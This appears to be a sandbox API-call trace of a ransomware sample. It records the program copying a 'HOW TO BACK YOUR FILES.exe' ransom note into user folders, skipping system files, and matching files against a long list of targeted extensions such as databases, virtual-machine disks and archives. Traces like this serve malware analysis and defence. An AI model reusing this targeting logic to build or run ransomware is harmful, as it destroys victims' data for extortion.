	[0051.345] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29
	[0051.345] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0051.345] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.345] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.345] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.345] GetLastError () returned 0x0
	[0051.345] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.345] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.346] CloseHandle (hObject=0x14c) returned 1
	[0051.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.346] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.346] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.346] GetLastError () returned 0x5
	[0051.346] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\My Documents\\* FindFirstFile error 5\r\n") returned 63
	[0051.346] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\My Documents\\* FindFirstFile error 5\r\n") returned 63
	[0051.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.346] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c37
	[0051.346] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3f, lpOverlapped=0x0) returned 1
	[0051.346] CloseHandle (hObject=0x14c) returned 1
	[0051.346] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0051.346] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0051.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ed0 | out: hHeap=0x580000) returned 1
	[0051.346] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0051.347] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22
	[0051.347] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0051.347] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.347] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.347] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0051.347] GetLastError () returned 0x0
	[0051.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.347] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.347] CloseHandle (hObject=0x14c) returned 1
	[0051.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.347] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.347] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0cc510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.348] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.348] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.348] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.348] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0cc510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.348] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.348] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.348] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.348] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.348] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0051.348] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0051.348] lstrlenW (lpString="desktop.ini") returned 11
	[0051.348] lstrlenW (lpString="C:\\Users\\Default\\Music\\*") returned 24
	[0051.348] lstrcpyW (in: lpString1=0x119e636, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0051.348] lstrlenW (lpString="desktop.ini") returned 11
	[0051.348] lstrlenW (lpString="Apollon865") returned 10
	[0051.348] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0051.348] lstrlenW (lpString=".dll") returned 4
	[0051.349] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0051.349] lstrlenW (lpString=".lnk") returned 4
	[0051.349] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0051.349] lstrlenW (lpString=".ini") returned 4
	[0051.349] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0051.349] lstrlenW (lpString=".sys") returned 4
	[0051.349] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0051.349] lstrlenW (lpString="desktop.ini") returned 11
	[0051.349] lstrlenW (lpString="bak") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0051.349] lstrlenW (lpString="ba_") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0051.349] lstrlenW (lpString="dbb") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0051.349] lstrlenW (lpString="vmdk") returned 4
	[0051.349] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0051.349] lstrlenW (lpString="rar") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0051.349] lstrlenW (lpString="zip") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0051.349] lstrlenW (lpString="tgz") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0051.349] lstrlenW (lpString="vbox") returned 4
	[0051.349] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0051.349] lstrlenW (lpString="vdi") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0051.349] lstrlenW (lpString="vhd") returned 3
	[0051.349] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0051.349] lstrlenW (lpString="vhdx") returned 4
	[0051.349] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0051.349] lstrlenW (lpString="avhd") returned 4
	[0051.350] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0051.350] lstrlenW (lpString="db") returned 2
	[0051.350] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0051.350] lstrlenW (lpString="db2") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0051.350] lstrlenW (lpString="db3") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0051.350] lstrlenW (lpString="dbf") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0051.350] lstrlenW (lpString="mdf") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0051.350] lstrlenW (lpString="mdb") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0051.350] lstrlenW (lpString="sql") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0051.350] lstrlenW (lpString="sqlite") returned 6
	[0051.350] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0051.350] lstrlenW (lpString="sqlite3") returned 7
	[0051.350] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0051.350] lstrlenW (lpString="sqlitedb") returned 8
	[0051.350] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0051.350] lstrlenW (lpString="xml") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0051.350] lstrlenW (lpString="$er") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0051.350] lstrlenW (lpString="4dd") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0051.350] lstrlenW (lpString="4dl") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0051.350] lstrlenW (lpString="^^^") returned 3
	[0051.350] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0051.351] lstrlenW (lpString="abs") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0051.351] lstrlenW (lpString="abx") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0051.351] lstrlenW (lpString="accdb") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0051.351] lstrlenW (lpString="accdc") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0051.351] lstrlenW (lpString="accde") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0051.351] lstrlenW (lpString="accdr") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0051.351] lstrlenW (lpString="accdt") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0051.351] lstrlenW (lpString="accdw") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0051.351] lstrlenW (lpString="accft") returned 5
	[0051.351] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0051.351] lstrlenW (lpString="adb") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.351] lstrlenW (lpString="adb") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.351] lstrlenW (lpString="ade") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0051.351] lstrlenW (lpString="adf") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0051.351] lstrlenW (lpString="adn") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0051.351] lstrlenW (lpString="adp") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0051.351] lstrlenW (lpString="alf") returned 3
	[0051.351] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0051.352] lstrlenW (lpString="ask") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0051.352] lstrlenW (lpString="btr") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0051.352] lstrlenW (lpString="cat") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0051.352] lstrlenW (lpString="cdb") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0051.352] lstrlenW (lpString="ckp") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0051.352] lstrlenW (lpString="cma") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0051.352] lstrlenW (lpString="cpd") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0051.352] lstrlenW (lpString="dacpac") returned 6
	[0051.352] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0051.352] lstrlenW (lpString="dad") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0051.352] lstrlenW (lpString="dadiagrams") returned 10
	[0051.352] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0051.352] lstrlenW (lpString="daschema") returned 8
	[0051.352] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0051.352] lstrlenW (lpString="db-journal") returned 10
	[0051.352] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0051.352] lstrlenW (lpString="db-shm") returned 6
	[0051.352] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0051.352] lstrlenW (lpString="db-wal") returned 6
	[0051.352] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0051.352] lstrlenW (lpString="dbc") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0051.352] lstrlenW (lpString="dbs") returned 3
	[0051.352] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0051.353] lstrlenW (lpString="dbt") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0051.353] lstrlenW (lpString="dbv") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0051.353] lstrlenW (lpString="dbx") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0051.353] lstrlenW (lpString="dcb") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0051.353] lstrlenW (lpString="dct") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0051.353] lstrlenW (lpString="dcx") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0051.353] lstrlenW (lpString="ddl") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0051.353] lstrlenW (lpString="dlis") returned 4
	[0051.353] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0051.353] lstrlenW (lpString="dp1") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0051.353] lstrlenW (lpString="dqy") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0051.353] lstrlenW (lpString="dsk") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0051.353] lstrlenW (lpString="dsn") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0051.353] lstrlenW (lpString="dtsx") returned 4
	[0051.353] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0051.353] lstrlenW (lpString="dxl") returned 3
	[0051.353] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0051.354] lstrlenW (lpString="eco") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0051.354] lstrlenW (lpString="ecx") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0051.354] lstrlenW (lpString="edb") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0051.354] lstrlenW (lpString="epim") returned 4
	[0051.354] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0051.354] lstrlenW (lpString="fcd") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0051.354] lstrlenW (lpString="fdb") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0051.354] lstrlenW (lpString="fic") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0051.354] lstrlenW (lpString="flexolibrary") returned 12
	[0051.354] lstrlenW (lpString="fm5") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0051.354] lstrlenW (lpString="fmp") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0051.354] lstrlenW (lpString="fmp12") returned 5
	[0051.354] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0051.354] lstrlenW (lpString="fmpsl") returned 5
	[0051.354] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0051.354] lstrlenW (lpString="fol") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0051.354] lstrlenW (lpString="fp3") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0051.354] lstrlenW (lpString="fp4") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0051.354] lstrlenW (lpString="fp5") returned 3
	[0051.354] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0051.355] lstrlenW (lpString="fp7") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0051.355] lstrlenW (lpString="fpt") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0051.355] lstrlenW (lpString="frm") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0051.355] lstrlenW (lpString="gdb") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.355] lstrlenW (lpString="gdb") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0051.355] lstrlenW (lpString="grdb") returned 4
	[0051.355] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0051.355] lstrlenW (lpString="gwi") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0051.355] lstrlenW (lpString="hdb") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0051.355] lstrlenW (lpString="his") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0051.355] lstrlenW (lpString="ib") returned 2
	[0051.355] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0051.355] lstrlenW (lpString="idb") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0051.355] lstrlenW (lpString="ihx") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0051.355] lstrlenW (lpString="itdb") returned 4
	[0051.355] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0051.355] lstrlenW (lpString="itw") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0051.355] lstrlenW (lpString="jet") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0051.355] lstrlenW (lpString="jtx") returned 3
	[0051.355] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0051.356] lstrlenW (lpString="kdb") returned 3
	[0051.356] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0051.356] lstrlenW (lpString="kexi") returned 4
	[0051.356] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0051.356] lstrlenW (lpString="kexic") returned 5
	[0051.356] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0051.357] lstrlenW (lpString="kexis") returned 5
	[0051.360] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0051.360] lstrlenW (lpString="lgc") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0051.360] lstrlenW (lpString="lwx") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0051.360] lstrlenW (lpString="maf") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0051.360] lstrlenW (lpString="maq") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0051.360] lstrlenW (lpString="mar") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0051.360] lstrlenW (lpString="marshal") returned 7
	[0051.360] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0051.360] lstrlenW (lpString="mas") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0051.360] lstrlenW (lpString="mav") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0051.360] lstrlenW (lpString="maw") returned 3
	[0051.360] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0051.360] lstrlenW (lpString="mdbhtml") returned 7
	[0051.361] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0051.361] lstrlenW (lpString="mdn") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0051.361] lstrlenW (lpString="mdt") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0051.361] lstrlenW (lpString="mfd") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0051.361] lstrlenW (lpString="mpd") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0051.361] lstrlenW (lpString="mrg") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0051.361] lstrlenW (lpString="mud") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0051.361] lstrlenW (lpString="mwb") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0051.361] lstrlenW (lpString="myd") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0051.361] lstrlenW (lpString="ndf") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0051.361] lstrlenW (lpString="nnt") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0051.361] lstrlenW (lpString="nrmlib") returned 6
	[0051.361] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0051.361] lstrlenW (lpString="ns2") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0051.361] lstrlenW (lpString="ns3") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0051.361] lstrlenW (lpString="ns4") returned 3
	[0051.361] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0051.361] lstrlenW (lpString="nsf") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0051.362] lstrlenW (lpString="nv") returned 2
	[0051.362] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0051.362] lstrlenW (lpString="nv2") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0051.362] lstrlenW (lpString="nwdb") returned 4
	[0051.362] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0051.362] lstrlenW (lpString="nyf") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0051.362] lstrlenW (lpString="odb") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.362] lstrlenW (lpString="odb") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0051.362] lstrlenW (lpString="oqy") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0051.362] lstrlenW (lpString="ora") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0051.362] lstrlenW (lpString="orx") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0051.362] lstrlenW (lpString="owc") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0051.362] lstrlenW (lpString="p96") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
